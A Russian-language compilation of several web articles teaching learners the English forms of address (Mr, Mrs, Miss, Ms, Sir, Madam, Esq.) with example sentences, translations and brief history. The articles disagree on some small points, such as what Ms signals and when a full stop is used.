Миссис или мисс – обращение в английском языке mr, ms, mrs или miss

Enjoy learning English online with Puzzle English for free

О вежливости англичан мы знаем не понаслышке. Такие высокопарные обращения, как sir (сэр), my lord (милорд), lady (леди) и другие, используемые еще со времен средневековья, призваны определить и подчеркнуть статус человека при разговоре.

В современной Англии и сейчас в ходу классические обращения: королеву величают не иначе, как Her Majesty (Ее Величество), согласно титулу обращаются и к другим членам королевской семьи. К тем же, кто не имеет статуса лорда или других аристократических титулов, принято обращаться согласно семейному положению.

Сегодня раз и навсегда разберемся с такими похожими на первый взгляд обращениями в английском языке, как Mr, Mrs, Ms и Miss: что это за сокращения, как они переводится и когда употребляются.

Это знание пригодится вам не только в повседневном общении, но и при составлении деловых писем, а также для заполнения иностранных документов.

Mr & Mrs: кто это?

Для начала разберемся с такими основными понятиями, используемых повсеместно, как мистер и миссис и поговорим о том, как они пишутся и употребляются.

Mr [’mɪstər] — мистер

Это обращение используется в тех случаях, когда мы говорим о мужчине. Причем совсем не важно, женатом или не женатом. Не важен и возраст: к мальчикам так обращаются еще во время учебы. Употребляется вместе с фамилией:

Mr Lewis is a very handsome man — Мистер Льюис очень красивый мужчина

Таким образом, Mr — это сокращение от слова mister, то есть «мистер» по-английски.

Mrs [ˈmɪsɪz] — миссис Это обращение к замужней женщине на английском языке. Также может использоваться по отношению к девушке, если она замужем. Сокращение образовалось от слова mistress: так называли «хозяек дома» в 18 веке в Великобритании. Аналогично «мистеру», употребляется вместе с фамилией: Mrs Lane is cooking a Christmas dinner — Миссис Лейн готовит рождественский ужин

Обращение Mrs (миссис) на английском произошло от полного слова misses и используется как при заполнении документов, так и в общении.

Запомнить эти два основных обращения не сложно. Достаточно знать, что Mr — это мужчина, а если добавить к этому сокращению s, то получится обращение к его жене.

Также несложно запомнить и то, как пишутся мистер и миссис в английском языке: всегда с большой буквы, как и фамилия того, к кому обращаются. А вот ставить ли точку после сокращения или нет — зависит уже от того, каким вариантом английского вы пользуетесь.

В британском английском на письме после Mr и Mrs точка не ставится, а в американском — ставится. Произноситься же слово в обоих случаях должно полностью.

Эти сокращения, пожалуй, самые употребляемые во всем мире. Семейную чету обычно представляют вместе под одной фамилией. Например, как в фильме «Mr. & Mrs. Smith» («Мистер и Миссис Смит»). Также, это самые популярные слова в свадебном декоре, когда стулья молодоженов или торты украшают надписями Mr. и Mrs., кем они и будут называться после бракосочетания.

Miss & Ms: в чем разница?

Немного сложнее, чем с Mr и Mrs, обстоят дела с обращением к девушке, чье семейное положение нам неизвестно.

Miss [mɪs] — мисс Это обращение употребляется, когда мы говорим о женщине или девушке, которая, как нам известно, точно не замужем. Мисс в английском языке также ставится перед фамилией женщины или девушки, но чаще всего используется в отношении школьниц и студенток.

Обратите внимание, что это слово — единственное из четырех обращений, которое пишется и произносится целиком, а значит, на письме никогда не имеет точки:

Look! This is our new star Miss Lopez! — Посмотрите! Это наша новая звезда мисс Лопез!

Ms [mɪz] — мисс

Такую форму вежливого обращения мы используем в том случае, когда нам неизвестно, замужем женщина или нет. Полная форма этого слова звучит как mizz, отсюда и немного иное произношение, более звонкое, нежели Miss. Как и все другие обращения, употребляется с фамилией женщины или девушки:

Please, give these papers to Ms Strait — Пожалуйста, отдайте эти бумаги мисс Стрейт

Как вы могли заметить, разница между Miss и Ms не такая большая. Особенно, в разговорной речи. Если сомневаетесь в семейном положении женщины перед вами — всегда можно использовать неопределенное Ms.

Кстати, в бизнес-среде более распространено именно обращение Ms, даже если известно, что женщина замужем.

Подведем итоги

Часто те, кто изучает английский язык, путают между собой обращения к женщинам. С мужчинами все понятно: он будет Mr в любом случае, вне зависимости от возраста и семейного положения. Но что насчет дам и разницы между мисс и миссис на английском языке?

Сокращение Mrs переводится как миссис. Это женщина, которая замужем за мистером. Довольно легко запомнить, ведь в самом этом сокращении «спрятался» Mr.

Если же вы видите Ms — то это мисс, что значит незамужняя женщина или девушка. Запомнить тоже просто: если буквы r нет, то эта Ms еще не нашла своего Mr.

Вот в чем основная разница между сокращениями мисс и миссис в английском языке.

Еще раз о точках: они ставятся при письме только в американском английском, когда перед нами — сокращение от полного слова mister, mistress или mizz. Слово Miss (обращение к незамужней девушке) также при письме начинается с заглавной буквы, но точка после него не ставится. После обращения (с точкой или без) идет фамилия мужчины или женщины с большой буквы.

Надеемся, что теперь вы навсегда запомните, в каких случаях правильно употребляются такие обращения в английском языке, как Mr, Mrs, Miss и Ms.

See ya!  

Обращения в английском языке с примерами и переводом mr, ms, mrs, miss

  • 06 дек.

    Очень часто неопытные пользователи иностранным языком задаются вопросом: «Как обращаться к новым знакомым? Какие формы использовать?» Ведь известно, что в зависимости от статуса и положения адресата, формы обращения разнятся. Поэтому мы решили внести ясность и раз и навсегда разобраться, как и в каких ситуациях обращаться к разным категориям людей.

    Перед тем, как начнем, нужно запомнить: форма обращения свидетельствует о том, что вы учитываете такие характеристики адресата, как пол, возраст, уровень образования и т.д.

    Итак, начнем с самого безопасного варианта, а именно – сами спросите, как адресат предпочитает, чтобы к нему обращались.

    • What should I call you? – Как мне Вас называть?
    • What should I call your mum / the teacher / the manager? – Как мне называть твою маму/ преподавателя/ менеджера?
    • Can I call you [first name]? – Можно я буду Вас называть [Имя]?
    • Is it okay if I call you [Nickname]? – Ничего, если я буду тебя называть [Дружеское имя]?
    • What's your name? – Как тебя зовут?

    Если же один из этих вопросов вы услышали в свой адрес, то ответить можно так:

    • Please, call me [first name] – Пожалуйста, зовите меня [имя]
    • You can call me [nickname or short form] – Можешь называть меня [кличка или короткое имя]

    Если вы находитесь в формальной обстановке, например, на деловой встрече, переговорах или презентации, то не грех иметь пару формальных обращений в рукаве.

    1. Sir (для взрослого мужчины)
    2. Madam (для взрослой женщины)
    3. Mr + last name (для любого мужчины)
    4. Mrs + last name (для замужней женщины, которая использует фамилию мужа)
    5. Ms + last name (для замужней или незамужней женщины; общепринято в бизнесе)
    6. Miss + last name (для незамужней женщины)
    7. Dr + last name (для некоторых докторов по их просьбе используют не фамилию, а имя)
    8. Professor + last name (в университете/ институте)

    Иногда случается так, что официальное лицо через какое-то время  просит вас называть его по имени. В английском языке это называется ‘ on a first name basis’ или ‘on first name terms’. Так называют отношения, которые кажутся официальными только на первый взгляд, на самом же деле являясь более близкими.

    Но чаще всего, конечно же, мы используем обращения не в деловом, а в бытовом мире. Например, как обратиться к своей половинке, маме или к ребенку? Вот несколько предложений.

    • Honey (для ребенка, любимого человека или человека, младше вас по возрасту)
    • Dear
    • Sweetie
    • Love
    • Darling
    • Babe or Baby (для любимого человека)
    • Pal (обращение к сыну или внуку)
    • Buddy or Bud (очень разговорное обращение между друзьями; иногда используется с негативным подтекстом)

    Добавлено: 06.12.13

  • Обращение в английском языке

    HomeГрамматикаОбращение в английском языке

    В зависимости от ситуации мы по-разному обращаемся к окружающим нас людям. Под обращением понимается  интонационно и грамматически обособленный самостоятельный компонент предложения, который используется для обозначения лица или (реже) предмета, выступающего в качестве адресата речи. Вот несколько примеров обращений в английском языке:

    Excuse me, Sir, could you tell me where the nearest bank is? Извините, сэр, не подскажете, где находится ближайший банк?
    John, please tell my parents I will be late. Джон, пожалуйста, передай моим родителям, что я буду поздно.
    Mr. Adams, there is some important information for you. Мистер Адамс, для Вас есть важная информация.
    Dear Ann,I was really happy when your letter arrived… Дорогая Энн,я был действительно счастлив, когда пришло твое письмо…

    Как можно видеть из приведенных примеров, вид обращения зависит от многих факторов, в частности, от того насколько официальна или, наоборот, неформальна ситуация общения, от того, устная я ли форма общения выбрана или письменная, а также от вашего и собеседника возраста, пола, социального статуса, профессии и отношений подчиненности.

    Официальные формы обращения к одному человеку в английском языке

    Для обращения к человеку в официальной ситуации английский язык предлагает несколько вежливых форм. Например, для обращения к мужчине применяются следующие варианты:

    Написание обращения Транскрип-ция Пример употребления обращения Перевод примера
    Mr. [ ˈmɪstə(r) ] Mr. Thompson, could you repeat your requests, please. Мистер Томпсон, не могли бы Вы повторить свой запрос, пожалуйста.
    Sir [sɜː] I’m afraid, Sir, our headmaster is on holiday at the moment. Боюсь, сэр, наш директор в настоящее время в отпуске.
    Esq. [ɪˈskwʌɪə] John S. Brown, Esq., come into the office, please! Господин Джон С. Браун, пройдите в офис, пожалуйста!
    Читайте также:  Финальный штрих: как реагировать на вопросы и комментарии на английском?

    Если говорить о каждой из перечисленных выше форм, то стоит отметить следующее:

    • обращение можно применять по отношению к любому мужчине, каким бы ни был его возраст, социальный статус и семейное положение; ставится такое обращение перед фамилией адресата, например: Mr. Johnson – мистер Джонсон;
    • обращение Sir стоит выбрать в том случае, если фамилия адресата остается неназванной или неизвестной; в более редких, но при этом более почетных случаях Sir является обращением к лицу, имеющему рыцарский титул (в Соединенном Королевстве) и ставится либо перед именем, например – Sir Richard/ сэр Ричард, либо перед полным именем и фамилией, например – Sir Elton John / сэр Элтон Джон;
    • обращение ставится после полного имени. Обращение Mr. в таких случаях уже употреблять не следует, поскольку оно будет излишним. Такое обращение восходит своими корнями к средневековому термину Esquire (эсквайр), обозначавшему сначала оруженосца рыцаря, а уже позднее принадлежность к низшим слоям дворянства. Форма в настоящее время употребляется довольно редко, чаще в письменной версии.

    Для обращения к женщине в официальной обстановке применимы следующие формы:

    Написание обращения Транскрип-ция Пример употребления обращения Перевод примера
    Mrs. [‘mɪsɪz] Mrs. Smith, can you make a speech during the meeting? Миссис Смит, Вы не могли бы произнести речь на собрании?
    Ms. [‘mɪz] Ms. Johns, our company are very sorry about this mistake and offer you some discounts on other goods you need for your business. Мисс Джонс, наша компания сожалеет об этой ошибке и предлагает Вам некоторые скидки на другие товары, которые Вам нужны для Вашего бизнеса.
    Miss [‘mɪz] Miss Huston, you are a very promising young teacher! Мисс Хьюстон, Вы – очень перспективный молодой преподаватель!
    Madam [ˈmadəm] I’m sorry, Madam, could you follow me, please! Простите, мадам, не могли бы Вы проследовать за мной, пожалуйста?

    Отличия приведенных выше форм обращения к женщине порой весьма существенны, в частности:

    • обращение Mrs. бывает адресовано замужней женщине и требует после себя ее фамилии / имени и фамилии / имени и фамилии ее супруга, например: Stevenson / Mrs. Jane Stevenson / Mrs. Paul Stevenson. Последний вариант покажется русскому человеку скорее несколько необычным, но этому есть простое объяснение, ведь форма Mrs. – это обращение выражающее принадлежность к определенному мужчине (Mrs. как форма притяжательного падежа от Mr.);
    • обращение Miss применимо к незамужней девушке и требует после себя фамилии, например – Miss Brown, реже – имени, например Miss Alice;
    • обращение Ms. встречается чаще в деловой переписке, тогда как в устной речи отдается предпочтение одной из двух указанных выше форм. Это обращение, применимое к любой женщине независимо от факта ее замужества, является результатом многочисленных кампаний за равноправие женщин. После обращения Ms., рекомендованного в 1974 году Организацией Объединенных Наций, необходимо употреблять фамилию, например – J. Simpson;
    • обращение Madam используется, если фамилия адресата не называется или неизвестна, например – Dear Madam / Дорогая мадам. Помимо этого, обращение Madam типично также для применения по отношению к высокопоставленной особе женского пола, при этом после него может называться и занимаемый ею пост, например: Madam Managing Director / Госпожа генеральный директор.

    Официальное обращение к нескольким адресатам

    При устном обращении к разнополой публике наиболее типичной и приемлемой формой становится Ladies and gentlemen! – которая переводится на русский язык как «Дамы и господа!».

    В менее официальной ситуации можно встретить такие формулировки как Dear friends!  — «Дорогие друзья!»; Dear colleagues! – «Дорогие коллеги!» или Esteemed colleagues!  — «Уважаемые коллеги!».

    В официальном письменном обращении к нескольким лицам (предположительно в основной массе мужского пола), фамилии которых неизвестны, применяется формулировка Sirs / Господа, например:

    Dear Sirs,I am writing you in order to inform you about a little defect in your production… Уважаемые господа,я пишу Вам, чтобы сообщить о небольшом дефекте в Вашей продукции…

    Если же имеет место письменное обращение к коллективу женщин, чьи имена и фамилии неизвестны, применяется формулировка Mesdames ([meɪˈdɑːm])/ Дамы (госпожи), например:

    Dear Mesdames,We are happy to invite you to our conference on the gender roles of women… Уважаемые дамы,мы рады пригласить Вас на нашу конференцию по вопросам гендерных ролей женщин…

    Если же обращение в переписке нацелено на нескольких адресатов, причем известны их фамилии, можно воспользоваться формулировкой Messrs ([ˈmes.

    əz]) / Господа, после которой указываются эти фамилии, например: Messrs Johnson, Smith and Robinson – Господа Джонсон, Смит и Робинсон.

    Однако подобная формулировка считается в настоящее время уже несколько устаревшей.

    Неофициальное обращение

    Если не уходить далеко от темы обращения в письме, то следует отметить, что при обращении к другу или хорошему знакомому достаточно назвать его по имени или обратиться посредством формулировки Dear + имя (Дорогой…) или Hello/Hi,+ имя (Здравствуй, …).

    Dear James,I was very glad when I received some news from you… Дорогой Джеймс,я был очень рад, когда получил весточку от тебя…
    Hello, Mary,I’m your new pen friend from Russia… Здравствуй, Мэри,я твоя новая подруга по переписке из России…

    В устной речи также наиболее приемлемым обращением считается обращение по имени. При этом может использоваться и уменьшительно-ласкательная форма имени, как и в русском языке, например:

    Robert (Роберт) Rob (Роб), Bob (Боб), Bobby (Бобби), Robbie (Робби)
    Susan (Сьюзан) Sue (Сью)

    Однако подобные формы существуют далеко не для всех имен, и более распространенным является все-таки обращение с называнием полного имени.

    Другой вопрос заключается в том, что в отличие от русского имени отчества, в англоговорящих странах у людей порой бывает несколько имен, что связано с католической традицией «привязывать» к одному имени имя святого покровителя или какого-либо родственника.

    При этом отчество в английском языке отсутствует. А вот из нескольких имен, даваемых человеку при крещении, далеко не всегда первое становится тем, которое человек воспринимает как главное и хотел бы, чтобы именно так его и называли.

    Например: Уильям Брэдли Питт больше известен как Брэд Питт.

    Но чтобы избежать недоразумений, связанных с обращением по имени, стоит уточнить у собеседника: What should I call you?” – «Как мне следует Вас называть?».

    Будьте вежливы и приветливы в общении и нужные формы обращения обязательно сослужат вам добрую службу.

    Автор- Александра Певцова

    Ms или Mrs – Формы обращения в английском языке

    В англоговорящих странах в зависимости от семейного положения женщины принято употреблять обращение мисс или миссис. Многие из нас путают обращения Ms или Mrs. Чем же они отличаются и к кому относятся, в этом мы сейчас и разберемся.

    История происхождения «мисс» и «миссис»

    Мисс имеет многослойную историю. Значения слова «mistress» из Оксфордского словаря, определяются следующими значениями: Женщина, которая управляет. Квалифицированная женщина. Женщина преподаватель. Возлюбленная либо любовница.

    Определения значения слова, являются поразительным примером эволюции обращения в адрес женщин. В конце восемнадцатого столетия незамужних женщин в преклонном возрасте в обществе приравнивали к замужними, называя их все же миссис, что вошло в традицию до сих пор.

    Постепенно девушки сменяли мисс на миссис при вступлении во взрослую жизнь, либо после смерти матери. Процесс изменений можно проследить в литературном использовании авторов тех времен. До начала восемнадцатого столетия не было никакой формы обращения, предшествующего имени.

    Но уже с середины восемнадцатого века «мисс» начало использоваться скорее как уничижительное, так обращались деревенские парни к своим любовницам.

    Автор знаменитого дневника о повседневной жизни лондонцев периода Стюартовской реставрации, Сэмюель Пипс, ясно использовал «маленькая мисс» только для девушек.

    В письмах 1754 годов, мисс появляется как общая форма обращения, возможно, даже к подросткам. Между 1695 и 1706 годами, высокий процент оставшихся не замужних женщин клеймили фразой «старая дева», а в разговорных ситуациях использовалось «девица».

    Таким образом, выражалась озабоченность по поводу уменьшения количества бракосочетаний. Но это увлечение к поощрению брака, кажется слишком далеким во времени, чтобы вдохновить прозвище мисс. Тем более, что его применение было социально ограничено.

    Обращение к женщине с неизвестным семейным статусом

    Это обращение является нейтральным в англоязычных странах. Ms ставится перед фамилией как замужней, так и незамужней женщины, в случае, если её семейное положение неизвестно или женщиной сознательно подчеркивается своё равноправие с мужчиной. Данное обращение появилось в 1950-х годах и вошло в употребление с 1970-х годов по инициативе представительниц феминистского движения.

    Как утверждает The American Heritage Book of English Usage, «использование Ms. избавляет от необходимости угадывания является адресат Mrs. или Miss: используя Ms., ошибиться невозможно. Независимо от того, является ли женщина-адресат замужней или нет, сменила она фамилию или нет, использование Ms. всегда корректно».

    В своём руководстве по стилю The Times заявляет: «На сегодняшний день Ms полностью приемлемо, если женщина хочет так называться, или если точно неизвестно, Mrs. она или Miss».

    The Guardian, использует «женские титулы» исключительно в статьях-передовицах, в своем руководстве по стилю советует: «используйте Ms для женщин… если только они не выразили желание в использовании Miss или Mrs».

    Обращение Ms. является стандартным обращением к женщине в случае, если ей не названо другое предпочтительное обращение. За стандартное использование Ms. также выступают авторы книг о правилах этикета, в том числе Джудит Мартин (также известная как «Мисс Манеры»).

    Кого можно называть «мисс»?

    Произношение и перевод:

    Miss — обращение к незамужней особе или к школьной учительнице, независимо от ее семейного статуса.

    • He was finished at Miss A.'s — Она получила образование в пансионате мисс А.
    • Which Miss Smith do you mean? — Которую Мисс Смит Вы имеете ввиду?

    Что означает обращение «миссис»?

    В настоящее время обращение к женщине с использованием имени ее мужа встречается редко, хотя возможны случаи совместного обращения к паре, например, мистер и миссис Джон Смит.

    Как правило, считается вежливым обращаться к женщинам, используя обращение мисс (Ms.

    ), а не миссис, особенно если не известны предпочтения женщины в отношении обращения к ней, особенно при письменной коммуникации.

    Пунктуация после сокращения

    На письме после сокращений ставится точка:

    • Dear Miss Jones! — Дорогая мисс Джонс!
    • Dear Mrs. Wilson! — Дорогая миссис Уилсон!
    • Dear Ms. Smith! — Дорогая госпожа Смит!

    Если обращение написано полностью, то точка не ставится:

    • Miss Dana Simms — Мисс Дана Симмс.

    Обращение к женщине и мужчине на английском | Мr, Miss, Mrs, Ms – разница

    Письменная и устная речь часто имеет конкретного адресата. Иногда процесс коммуникации не обходится без обращения к нему. Различают два вида – это официальное и неофициальное обращение на английском языке. Давайте разберем каждый из типов и рассмотрим случаи их использования.

    Читайте также:  Множественное число в английском языке у существительных

    Официальное обращение на английском

    Данный вид применяется в ситуациях межличностного общения, когда имеют место деловые отношения между коллегами, руководителями, партнерами, начальником и подчиненным, представителями разных поколений. При обращении к мужчине обычно можно услышать следующее:

    Сокращенное наименование Полное наименование Пример с переводом
    Mr. Mister Potter, could you repeat your question? (Мистер Поттер, не могли бы Вы повторить Ваш вопрос?)
    Sir Sir Sir, our boss is on holiday. (Сэр, наш босс в отпуске.)
    Esq. Esquire Tom Snow, Esq., your car is here. Господин Том Сноу, Ваша машина здесь.

    У данных обращений есть несколько нюансов:

    • Применение. Мистер сокращенно на английском (mr.) можно использовать в отношении мужчин вне зависимости от их места в обществе – т.е. sir, esq., mr – это все можно употреблять при общении как с дворником, так и с магнатом.
    • Место. С постановкой слова «Мистер» на английском (mr.) проблем возникнуть не должно – обычно сокращение ставится перед фамилией адресата.
    • Sir. У данного термина есть одна особенность при употреблении – его используют, когда фамилия и имя человека, к которому обращаются, остается неизвестной или заведомо не сообщается. Еще один исключительный случай его применения – это указание на титул (типично для британских подданных, ставших рыцарями). Все же помнят знаменитого сэра Элтона Джона(Sir Elton John)?
    • Esq. Эту форму ставят после имени. «Esquire» знакомо многим по названию журнала. Однако это слово обладает определенным историческим прошлым. Во времена Средневековья так сначала именовали оруженосцев, прикрепленных к рыцарям, затем с помощью термина передавалась принадлежность к низшим слоям дворянского сословия. В настоящий момент эту форму можно крайне редко встретить в разговорной речи, в основном она употребляется на письме.

    С адресатом мужского рода нам удалось разобраться, теперь давайте обсудим тему обращения к женщине на английском. Почему это настолько важно? Так как есть несколько слов-триггеров, которые, в отличие от мужского варианта, применимы только в определенных ситуациях и к дамам определенного возраста и положения.

    Сокращенное наименование Полное наименование Пример с переводом
    Mrs. Missis Hudson, can you help me? Миссис Хадсон, не могли бы вы мне помочь?
    Ms. Kith, we are sorry about this situation. (Мисс Кит, мы сожалеем об этой ситуации)
    Miss Miss Miss Rot, you are a good young player! (Мисс Рот, вы являетесь хорошим молодым исполнителем!)
    Madam Madam Madam, you are very beautiful today! (Мадам, вы очень красивы сегодня)

    Итак, разберем данную таблицу чуть более детально и, наконец, узнаем, в чем разница mrs и ms, и что выбрать в качестве обращения к незамужней женщине на английском.

    • Mrs. Обычно в этом случае речь идет о замужней девушке. При употреблении обязательно указание фамилии или имени женщины. Если простыми словами, то mrs – это обозначение принадлежности к конкретному представителю мужского пола при обращении (Женщина же в каком-то смысле принадлежит своему мужчине?).
    • Miss. Обычно наименование используют в отношении незамужних дам, ставя после «miss» имя и/или фамилию адресата.
    • Ms. Форма типична для письменной речи, в частности для деловой переписки. Для использования в речь лучше рассмотреть один из вышеуказанных вариантов. Интересно, что такое сокращенное «мисс» на английском можно употреблять к любой даме вне зависимости от ее положения (замужем/не замужем). Данное обращение было утверждено в результате многочисленных кампаний по борьбе за права женщин. ООН постановила, что после «Ms.» требуется фамилия или имя адресата.
    • Madam. По случаям употребления перекликается с мужским «Esq.», т.е. обычно не нуждается в дополнениях в виде ФИО после себя. Если же обращаются к девушке высокого статуса, то должен указываться ее пост/должность (например, Madam Managing Director – Госпожа управляющий директор). Обращение к женщине «мэм» – это всего лишь сокращение от «madam», случаи его употребления совпадают с уже указанными.

    Итак, при выборе ms или mrs всегда учитывайте тип обмена информацией и статус дамы, являющейся адресатом. Если налицо деловая переписка, то лучше «ms», если разговорная речь – «mrs». В случае с замужней девушкой всегда будьте уверены, что это mrs, а при использовании «ms» статус не играет значение.

    Теперь следует несколько слов сказать об обращении сразу к нескольким адресатам.

    Наиболее распространенным словосочетанием является «Ladies and gentlemen», что переводится на русский язык как «Леди и джентльмены». Однако фраза более типична для официальной обстановки (концерт, мероприятие в компании, презентация продукции и т.д.). Гораздо меньше «официоза» в таких выражениях, как «Dear friends» и «Dear colleagues» («Дорогие друзья» и «Дорогие коллеги» соответственно).

    Если речь идет об обращении к лицам преимущественно мужского пола, фамилии которых неизвестны или не называются, то применяют слово «sirs» (обычно дополняется прилагательным «dear», что складывается в «Dear Sirs» или «Уважаемые господа»).

    Когда адресатом является коллектив дам, чьи фамилии и имена не сообщаются или вовсе неизвестны, то актуальным считается употребление «mesdames».

    Есть еще один вариант обращения в письменной речи к тем, чьи имена и фамилии известны – это «messrs» (переводится как «господа»), но многие лингвисты считают его уже достаточно устаревшим.

    Неофициальное обращение

    Наряду с наименованием собеседника в деловой беседе, существуют выражения для ситуаций неофициального общения.

    На письме это обозначается при помощи конструкции «Dear friend..». Обычно затем следует приветствие (Hi или Hello) в сочетании с именем конечного получателя.

    Во время разговора друзей или родных отсутствие дополнительных слов и выражений (типа sir, dear и т.д.) может компенсироваться применением уменьшительно-ласкательных форм имени человека. Так, к примеру, «Robert» (по-русски «Роберт») легко превращается в «Rob», «Bob», «Robbie». Притом далеко не все имена обладают подобными сокращенными формами.

    Два товарища мужского пола часто применяют при общении друг с другом следующие фразы: old boy, old chap, old man. Они переводятся примерно как «старик», «старина», «дружище». Если речь идет о компании парней, то обычно говорят «Guys!» (или по-русски «Парни!»).

    К ребенку или возлюбленному/ой обращаются при помощи слов «lovely», «kid», «love», «honey», «sweet».

    Для бабушки и дедушки в английском также есть неофициальные названия (скорее уменьшительно-ласкательные) – это «grandma» и «grandpa», для мамы и папы – mum/mummy/mommy/mom и Dad/daddy.

    Заключение

    Итак, теперь вы знаете, как будет сокращение «миссис» на английском, в чем отличие ms и mrs, какие есть виды обращений и как фамильярно обратиться к одному или группе парней.

    Помните, что при выборе слов в данном случае нужно учитывать множество факторов, в частности, статус собеседника, его семейное положение и уровень ваших межличностных отношений с данным конкретным адресатом. Употребление неверного выражения может негативно повлиять на дальнейшую коммуникацию!

    В чем разница между мисс, миссис, мистер. вежливое обращение

    В любом языке существует устойчивый этикет по обращению к собеседнику, и английский – не исключение. Особенно важно это для начинающего диалог или произносящего первую фразу в отношении к незнакомому человеку.

    Отсутствие различия в английском между «вы» и «ты» – про это знают даже начинающие изучать английский, а вот когда употреблять Sir, Madam, Missis и прочие подобные выражения – ориентироваться в этом без глубоких знаний сложно.

    Во многих языках слова, употребляемые для обращения, имеют всего одну или две пары (для женщин и мужчин), и ошибиться трудно.

    К  примеру, в русскоязычной среде никому не придет в голову сказать «девушка» даме преклонного возраста, или обратиться «женщина» к девочке-подростку.

    В английском – множество похожих между собой слов, и ошибка всего в одну букву может повлечь за собой негативную реакцию будущего собеседника. Это касается разговора как с мужчинами, так и с дамами.

    Слова, употребляемые для правильного обращения к собеседнику-мужчине

    Yes, Sir!

    Sir [sɜː(r)]

    Наиболее часто употребляемое слово, если что-то хотят сказать лицу мужского рода. Есть несколько ситуаций, когда оно допустимо, как при первом высказывании в адрес мужчины, так и при разговоре с уже знакомым человеком.

    Обращение к лицу мужского пола, когда он выше рангом, служебной позицией. Используется без фамилии или имени. Допускается в разговоре с незнакомой личностью или если уже был диалог раньше.

    Sir, may I go home a little bit earlier today? – Сэр, можно мне сегодня уйти домой немножко пораньше? (В просьбе к мужчине-начальнику, которого говорящий знает).

    Sir, unfortunately I forgot the way to my unit, can you help me? – Сэр, к сожалению, я забыл дорогу в свою воинскую часть, не могли бы вы мне помочь? (При обращении к незнакомому офицеру более высокого звания).

    Yes, Sir! – Да, сэр (есть, сэр)! Подтверждение-ответ в воинских (или полицейских) структурах, говорится отдавшему приказ.

    Уважительное обращение к незнакомому мужчине, независимо от того, какого он возраста, звания, положения в обществе.

    Excuse me, Sir, can you show me the way to the nearest drug store? – Прошу прощения, сэр, не можете ли вы показать дорогу до ближайшей аптеки?

    В случаях, когда второй участник беседы является работником сервисного обслуживания и ниже по негласному рангу, Sir все равно – допустимый вариант.

    It seems to me, Sir, you are going too fast, we will have a crash! – Мне кажется, что вы едете слишком быстро, мы можем угодить в аварию! (Фраза, сказанная таксисту).

    Mr. [ˈmɪstə(r)]

    В начале диалога с мужчиной; кроме редких исключений, за этим словом в речи следует фамилия.

    При разговоре с собеседником-мужчиной, когда его фамилия говорящему известна. Употребляется для официального обращения как к вышестоящему по должности, так и к равному или подчиненному.

    Mr. Tinkov, where is the translation you had to do yesterday? – Господин Тиньков, где перевод, который вы должны были сделать вчера? (Диалог «начальник/подчиненный»).

    I’m so sorry, Mr. Garbo, I missed the train, that’s why I am late. – Извините, господин Гарбо, я опоздал на поезд, потому опоздал. (Беседа «подчиненный/шеф»).

    При обращении к высокопоставленному лицу-мужчине со следующим далее официальным статусом. Фамилия в этом случае не озвучивается; человек, с которым общаются, известен.

    Mr. President, your pilot is waiting for you. – Господин президент, ваш пилот  ждет вас.

    Просьба или обращение на конференциях, собраниях, при наличии большого количества наблюдающих. В этом случае далее могут следовать имя и фамилия.

    Читайте также:  Различия между русским и английским

    Now, Mr. Alan Hithrow, we will ask you to come up on the stage. – А теперь, мистер Алан Хитроу, мы попросим вас подняться на сцену.

    Если Mr. при первой фразе к незнакомцу употреблено с шутливым прозвищем. Так говорят крайне редко, потому что данное словосочетание может оскорбить собеседника.

    Mr. Strong, will you please not slam the door, it will collapse! – Господин силач, не могли бы вы не хлопать дверью, она же отвалится!

    Способы обращения к дамам, незнакомым или известным собеседнику

    Мадам — вежливое обращение к даме любого возраста.

    Для начала разговора с лицами женского пола в английском набор специальных слов более богат, а их употребление имеет сложную градацию.

    Madam [ˈmædəm]

    Уважительное, вежливое начало диалога с дамой любого возраста.

    Можно так обратиться и к молодой женщине, но крайне нежелательно к девочке-подростку. Фамилия/имя той, кому предназначена фраза, не известны.

    Madam, can I help you to carry your heavy luggage? – Мадам, можно я помогу нести ваш тяжелый багаж?

    При разговоре с той, чьи данные говорящий знает, но если начавший  диалог – служащий намного меньше по рангу (например, уборщик или горничная).

    Madam, I have already done all work for today, may I have a break? – Мадам, я уже выполнил(а) всю работу на сегодня, можно я сделаю перерыв?

    Важно! Sir и Madam – единственно приемлемые формы обращения, когда говорящий нанятый работник или прислуга.

    Обращение к даме, имеющей высокий государственный ранг; за словом Madam идет официальный титул. Не имеет значения семейный статус, какого она возраста (даже если юная).

    Madam President, I will take care of everything right now. – Госпожа президент, я позабочусь обо всем немедленно.

    Ma’am [mæm]

    Американский вариант обращения к даме возраста больше среднего или пожилого, последнее время встречается и в британской речи.

    I am very sorry, ma’am, I will open the window, it is very hot here. – Я очень извиняюсь, мэм, но я открою окно, тут очень жарко.

    В полиции и армейских структурах так начинают диалог с женщиной-офицером, независимо от ее возраста.

    Ma’am, the victim cannot hear us! – Мэм, потерпевший нас не слышит!

    Mrs. [ˈmɪsɪz]

    При диалоге с замужней женщиной. За словом обязательно называется фамилия мужа.

    I have always enjoyed meeting with you, Mrs. Smellow. – Мне всегда было приятно встречаться с вами, миссис Смеллоу.

    Как и в случае с Mr., бывают моменты, когда за Mrs. называют полные данные дамы. Это допускается при сугубо официальном обращении, если надо подчеркнуть высокое положение женщины в обществе.

    Mrs. Agnes de Torro, your husband is waiting for you in the hall. – Госпожа Агнесса де Торро, ваш муж ждет вас в холле.

    Miss [mɪs]

    Мисс — это вежливое обращение, которое используется в начале беседы с девушкой или молодой женщиной, если предполагается, что она не замужем.

    Miss без фамилии говорится, когда незнакомая особа женского пола явно молода для брака, или у нее нет обручального кольца.

    Would you be so kind, miss, to show me your customs entry? – Будьте так добры, мисс, показать мне вашу таможенную декларацию.

    Miss с фамилией ­– молодая дама известна говорящему, она точно официально не замужем.

    Miss Brane, will you come to our party tonight? – Мисс Брейн, вы придете на нашу вечеринку сегодня вечером?

    Miss с именем – при разговоре с подростком или маленькой девочкой.

    Miss Elisa, aren’t you ashamed? Your dress is messy! – Мисс Элиза, вам не стыдно? Ваше платье заляпанное!

    Miss — вежливое обращение к учительнице, принятое в Англии.

    Miss и далее имя – также стандартное вежливое обращение, принятое в Великобритании к преподавательнице, причем неважны ее семейный статус и возраст. Стоит объяснить, почему именно так.

    Когда-то в английские школы старались принимать на работу только одиноких женщин, мотивируя это тем, что они не будут пропускать занятия из-за болезни детей, не станут отвлекаться на семейные проблемы.

    Давным-давно это правило не работает, но обращение к преподавателю-женщине прочно закрепилось в речи в данном варианте.

    Miss Jane, I am sorry I didn’t write my composition yesterday… – Мисс Джейн, я очень извиняюсь, я не написал свое сочинение вчера…

    Ms. [mɪz]

    Нельзя путать с предыдущим словом, и произносится оно по-другому, со звонким звуком на конце.

